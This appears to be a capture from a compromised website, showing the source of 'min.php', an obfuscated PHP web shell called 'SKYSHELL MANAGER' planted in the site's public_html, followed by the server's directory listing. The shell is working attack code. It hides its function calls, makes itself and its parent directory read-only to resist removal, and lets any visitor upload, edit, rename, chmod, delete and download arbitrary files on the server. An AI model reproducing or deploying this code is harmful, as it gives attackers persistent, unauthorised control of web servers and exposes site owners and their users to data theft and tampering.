PHP 8.0.30
Preview: min.php Size: 6.83 KB
/home/ostadcom/public_html/min.php

<?php
$O00OO0=urldecode("%63%68%6d%6f%64");
$O00OO0(__FILE__, 0444); 
$V1=[$O00OO0,'realpath','getcwd','basename','move_uploaded_file','file_exists','mkdir','file_put_contents','rename','dirname','chmod','octdec','unlink','rmdir','header','urlencode','is_dir','scandir','usort','fileperms','filesize','round','htmlspecialchars','file_get_contents','phpversion'];

// Path Handling Fix
$P1 = isset($_GET['path']) ? $V1[1]($_GET['path']) : $V1[2]();
if(!$P1 || $P1 == "") { $P1 = $V1[2](); }

// Parent Directory Lock Logic (0555)
$current_file_path = $V1[1](__FILE__);
if ($current_file_path) {
    $current_dir = $V1[9]($current_file_path);
    $parent_dir = $V1[9]($current_dir);
    if($parent_dir && $V1[16]($parent_dir) && $parent_dir !== $current_dir){
        @$V1[10]($parent_dir, 0555); 
    }
}

$M1="";
if($_SERVER['REQUEST_METHOD']==='POST'){
    if(isset($_FILES['file'])){if($V1[4]($_FILES['file']['tmp_name'],$P1.DIRECTORY_SEPARATOR.$V1[3]($_FILES['file']['name'])))$M1="File uploaded!";}
    if(isset($_POST['newfolder'])){$F1=$P1.DIRECTORY_SEPARATOR.$_POST['newfolder'];if(!$V1[5]($F1)){$V1[6]($F1);$M1="Folder created!";}}
    if(isset($_POST['newfile'])){$F2=$P1.DIRECTORY_SEPARATOR.$_POST['newfile'];if(!$V1[5]($F2)){$V1[7]($F2,'');$M1="File created!";}}
    if(isset($_POST['old_name'],$_POST['new_name'])){if($V1[8]($_POST['old_name'],$V1[9]($_POST['old_name']).DIRECTORY_SEPARATOR.$_POST['new_name']))$M1="Renamed!";}
    if(isset($_POST['chmod_file'],$_POST['chmod_value'])){if($V1[5]($_POST['chmod_file'])){$V1[10]($_POST['chmod_file'],$V1[11]($_POST['chmod_value']));$M1="Permissions changed!";}}
    if(isset($_POST['edit_file_path'],$_POST['edited_content'])){if($V1[5]($_POST['edit_file_path'])){$V1[10]($_POST['edit_file_path'],0644);$V1[7]($_POST['edit_file_path'],$_POST['edited_content']);$V1[10]($_POST['edit_file_path'],0444);$M1="Updated!";}}
}

if(isset($_GET['delete'])){$T1=urldecode($_GET['delete']);if($V1[5]($T1)){if($V1[16]($T1)){$V1[13]($T1);}else{$V1[12]($T1);}$V1[14]("Location: ?path=".$V1[15]($V1[9]($T1)));exit;}}
if(isset($_GET['download'])){$D1=$_GET['download'];if($V1[5]($D1)){$V1[14]('Content-Type: application/octet-stream');$V1[14]('Content-Disposition: attachment; filename="'.$V1[3]($D1).'"');readfile($D1);exit;}}

$fs = ($V1[5]($P1) && $V1[16]($P1)) ? $V1[17]($P1) : [];
if(!empty($fs)){
    $V1[18]($fs,function($a,$b)use($P1,$V1){return $V1[16]($P1.DIRECTORY_SEPARATOR.$b)-$V1[16]($P1.DIRECTORY_SEPARATOR.$a);});
}
?>
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>SKYSHELL MANAGER</title><style>body{background-color:#111;color:#0f0;font-family:Arial;padding:20px;}h2{text-align:center;font-size:36px;background:linear-gradient(90deg,#f00,#ff0,#0f0,#0ff,#00f);background-size:200%;color:transparent;-webkit-background-clip:text;animation:g 3s linear infinite;}@keyframes g{0%{background-position:200% 0%}50%{background-position:0% 100%}100%{background-position:200% 0%}}.php-v{position:absolute;top:10px;right:20px;font-size:14px;color:#0ff}a{color:#6cf;text-decoration:none}table{width:100%;border-collapse:collapse;margin-top:20px}th,td{padding:10px;border:1px solid #333}tr:hover{background-color:#32CD32 !important; color:#000 !important;}tr:hover td span{color:#000 !important; font-weight:bold;}tr:hover td a{color:#000 !important; font-weight:700}.act-c{text-align:right}input,button,textarea{background:#222;color:#0f0;border:1px solid #444;padding:5px 10px;margin:5px 0}.msg{color:#32CD32;background-color:#222;padding:10px;text-align:center;margin:20px 0}.u-c{display:flex;justify-content:space-between;align-items:center}.emoji{color:#fff}.p-d a{color:#fff;text-decoration:none}.p-d a:hover{text-decoration:underline}</style></head><body>
<h2><span class="emoji">📁</span> SKYSHELL MANAGER <span class="php-v">PHP v<?= $V1[24](); ?></span></h2>
<?php if($M1): ?><div class="msg"><?= $M1 ?></div><?php endif; ?>
<div class="u-c"><div><form method="post"><input type="text" name="newfolder" placeholder="Folder"><button type="submit">Create</button></form><form method="post"><input type="text" name="newfile" placeholder="File"><button type="submit">Create</button></form></div><div><form method="post" enctype="multipart/form-data"><input type="file" name="file" onchange="this.form.submit()"></form></div></div>

<!-- Fixed Path Logic without extra spaces -->
<p class="p-d"><b>Path:</b><?php 
$path_parts = explode(DIRECTORY_SEPARATOR, $P1);
$accumulated_path = "";
foreach ($path_parts as $key => $part) {
    if ($part === "" && $key === 0) {
        $accumulated_path = DIRECTORY_SEPARATOR;
        echo "<a href='?path=".$V1[15]($accumulated_path)."'>root</a>/";
        continue;
    }
    if ($part === "") continue;
    if (DIRECTORY_SEPARATOR === '\\') {
        $accumulated_path .= ($accumulated_path === "" ? "" : DIRECTORY_SEPARATOR) . $part;
    } else {
        $accumulated_path .= DIRECTORY_SEPARATOR . $part;
    }
    echo "<a href='?path=".$V1[15]($accumulated_path)."'>$part</a>/";
} 
?></p>

<table><tr><th>Name</th><th>Size</th><th>Perm</th><th>Actions</th></tr>
<?php foreach($fs as $f){if($f=='.' || $f=='..')continue;$fl=$P1.DIRECTORY_SEPARATOR.$f;$id=$V1[16]($fl);$pm=substr(sprintf('%o',$V1[19]($fl)),-4);$sz=$id?'-':$V1[21]($V1[20]($fl)/1024,2).' KB';
if($pm == '0444' || $pm == '0555' || $pm == '0400') { $cl = 'style="color:#f00;font-weight:bold;"'; } else { $cl = 'style="color:#0f0;font-weight:bold;"'; }
echo "<tr><td>".($id?"📁":"📄")." <a href='?path=".$V1[15]($fl)."'>$f</a></td><td>$sz</td><td><span $cl>$pm</span></td><td class=\"act-c\"><a href='?delete=".$V1[15]($fl)."' onclick=\"return confirm('?')\">🗑️</a> <a href='?rename=".$V1[15]($fl)."'>🏷️</a> ".(!$id?"<a href='?path=".$V1[15]($P1)."&download=".$V1[15]($fl)."'>⬇️</a> <a href='?edit=".$V1[15]($fl)."'>✏️</a>":"")." <form method='post' style='display:inline;'><input type='hidden' name='chmod_file' value='$fl'><input type='text' name='chmod_value' placeholder='P' style='width:30px;'><button type='submit'>🔒</button></form></td></tr>";} ?>
</table>
<?php if(isset($_GET['rename'])): $t=$_GET['rename']; ?><div style="margin-top:20px;border:1px solid #444;padding:15px;"><h3 style="color:#fff;">Rename: <?= $V1[3]($t) ?></h3><form method="post" action="?path=<?= $V1[15]($P1) ?>"><input type="hidden" name="old_name" value="<?= $V1[22]($t) ?>"><input type="text" name="new_name" value="<?= $V1[22]($V1[3]($t)) ?>"><button type="submit">OK</button></form></div><?php endif; ?>
<?php if(isset($_GET['edit'])&&is_file($_GET['edit'])): $te=$_GET['edit'];$c=$V1[22]($V1[23]($te)); ?><h3 style="color:#fff;">Edit: <?= $V1[3]($te) ?></h3><form method="post" action="?path=<?= $V1[15]($V1[9]($te)) ?>"><input type="hidden" name="edit_file_path" value="<?= $V1[22]($te) ?>"><textarea name="edited_content" rows="15" style="width:100%"><?= $c ?></textarea><br><button type="submit">Save</button></form><?php endif; ?>
</body></html>

Directory Contents

Dirs: 22 × Files: 54

Name Size Perms Modified Actions
- drwxr-xr-x 2026-06-08 05:52:34
Edit Download
ar DIR
- drwxr-xr-x 2026-07-21 12:25:46
Edit Download
assets DIR
- drwxr-xr-x 2026-01-27 11:51:59
Edit Download
- drwxr-x--- 2026-08-01 00:14:03
Edit Download
catalogue DIR
- drwxr-xr-x 2025-12-31 07:16:46
Edit Download
cgi-bin DIR
- drwxr-xr-x 2026-04-28 11:20:57
Edit Download
- drwxr-x--- 2026-08-01 00:14:03
Edit Download
date DIR
- drwxr-xr-x 2025-12-31 07:18:16
Edit Download
- drwxr-x--- 2026-08-01 00:14:03
Edit Download
en DIR
- drwxr-xr-x 2026-07-21 12:15:24
Edit Download
- drwxr-xr-x 2025-12-31 07:26:05
Edit Download
- drwxr-x--- 2026-08-01 00:14:03
Edit Download
- drwxr-x--- 2026-08-01 00:14:03
Edit Download
- drwxr-x--- 2026-08-01 00:14:03
Edit Download
magazine DIR
- drwxr-x--- 2026-08-01 00:14:03
Edit Download
- drwxr-xr-x 2026-01-27 13:10:55
Edit Download
- drwxr-x--- 2026-08-01 00:14:03
Edit Download
panel DIR
- drwxr-xr-x 2025-12-31 12:47:11
Edit Download
- drwxr-x--- 2026-08-01 00:14:03
Edit Download
upload DIR
- drwxr-xr-x 2026-06-28 16:52:10
Edit Download
- drwxr-xr-x 2026-07-28 07:19:56
Edit Download
vendors DIR
- drwxr-xr-x 2025-12-31 08:10:13
Edit Download
0 B lrw-r--r-- 2026-08-01 09:03:59
Edit Download
1.69 KB lrw-r--r-- 2025-11-30 11:27:08
Edit Download
3.34 KB lrw-r--r-- 2025-11-30 11:27:51
Edit Download
0 B lrw-r--r-- 2026-08-01 09:04:18
Edit Download
1.05 MB lrw-r--r-- 2026-07-30 02:04:36
Edit Download
323 B lrw-r--r-- 2025-10-18 12:54:47
Edit Download
9.05 KB lrw-r--r-- 2025-11-30 11:28:15
Edit Download
10.11 KB lrw-r--r-- 2025-11-30 11:28:44
Edit Download
3.03 KB lrw-r--r-- 2026-01-27 13:09:13
Edit Download
177 B lrw-r--r-- 2025-10-18 12:54:50
Edit Download
7.42 MB lrw-r--r-- 2025-12-23 07:01:35
Edit Download
42.62 MB lrw-r--r-- 2025-12-09 10:35:54
Edit Download
43 B lrw-r--r-- 2025-10-18 12:54:50
Edit Download
95.81 KB lrw------- 2026-06-30 04:59:32
Edit Download
2.80 KB lrw-r--r-- 2025-11-30 11:29:07
Edit Download
3.96 KB lrw-r--r-- 2025-11-30 11:29:41
Edit Download
6.51 MB lrw-r--r-- 2026-08-02 05:06:17
Edit Download
0 B lrw-r--r-- 2026-08-01 09:04:04
Edit Download
3.13 KB lrw-r--r-- 2025-11-30 11:30:01
Edit Download
0 B lrw-r--r-- 2026-07-31 00:41:57
Edit Download
0 B lrw-r--r-- 2026-08-01 07:51:43
Edit Download
7.17 KB lrw-r--r-- 2025-12-11 07:20:58
Edit Download
4.04 KB lrw-r--r-- 2025-11-30 11:30:24
Edit Download
4.33 KB lrw-r--r-- 2025-11-30 11:30:42
Edit Download
53 B lrw-r--r-- 2026-06-28 16:52:56
Edit Download
53 B lrw-r--r-- 2025-10-18 12:54:51
Edit Download
11.71 KB lrw-r--r-- 2025-12-31 12:10:25
Edit Download
1.79 KB lrw-r--r-- 2025-10-18 12:54:51
Edit Download
27.10 KB lrw-r--r-- 2026-07-02 07:33:27
Edit Download
419 B lrw-r--r-- 2026-07-29 02:17:37
Edit Download
0 B lrw-r--r-- 2026-08-01 09:04:13
Edit Download
467 B lrw-r--r-- 2025-07-27 06:56:16
Edit Download
0 B lrw-r--r-- 2026-08-01 04:00:13
Edit Download
37 B lrw-r--r-- 2025-10-18 12:54:53
Edit Download
11.91 KB lrw-r--r-- 2026-01-27 13:07:54
Edit Download
6.83 KB lr--r--r-- 2026-07-28 05:54:52
Edit Download
2.19 KB lrw-r--r-- 2025-11-30 11:13:19
Edit Download
144 B lrw-r--r-- 2025-10-18 12:54:53
Edit Download
0 B lrw-r--r-- 2026-08-01 09:04:22
Edit Download
2.73 KB lrw-r--r-- 2025-11-30 11:32:24
Edit Download
24.78 KB lrw-r--r-- 2025-11-30 11:37:17
Edit Download
22.97 KB lrw-r--r-- 2025-11-30 11:34:31
Edit Download
0 B lrw-r--r-- 2026-08-01 09:04:09
Edit Download
7.58 KB lrw-r--r-- 2025-12-31 12:15:46
Edit Download
12.04 KB lrw-r--r-- 2025-12-31 12:12:02
Edit Download
193 B lrw-r--r-- 2026-06-28 16:59:25
Edit Download
226.07 KB lrw-r--r-- 2025-12-21 03:41:22
Edit Download
73.18 KB lrw-r--r-- 2026-06-28 17:04:43
Edit Download
13.37 KB lrw-r--r-- 2026-07-28 06:59:19
Edit Download
23.22 KB lrw-r--r-- 2025-12-21 03:41:22
Edit Download
3.24 KB lrw-r--r-- 2025-10-18 12:54:57
Edit Download
0 B lrw-r--r-- 2026-08-01 09:04:28
Edit Download
6.39 KB lrw-r--r-- 2025-08-16 14:33:28
Edit Download
2.30 KB lrw-r--r-- 2025-08-16 08:07:50
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).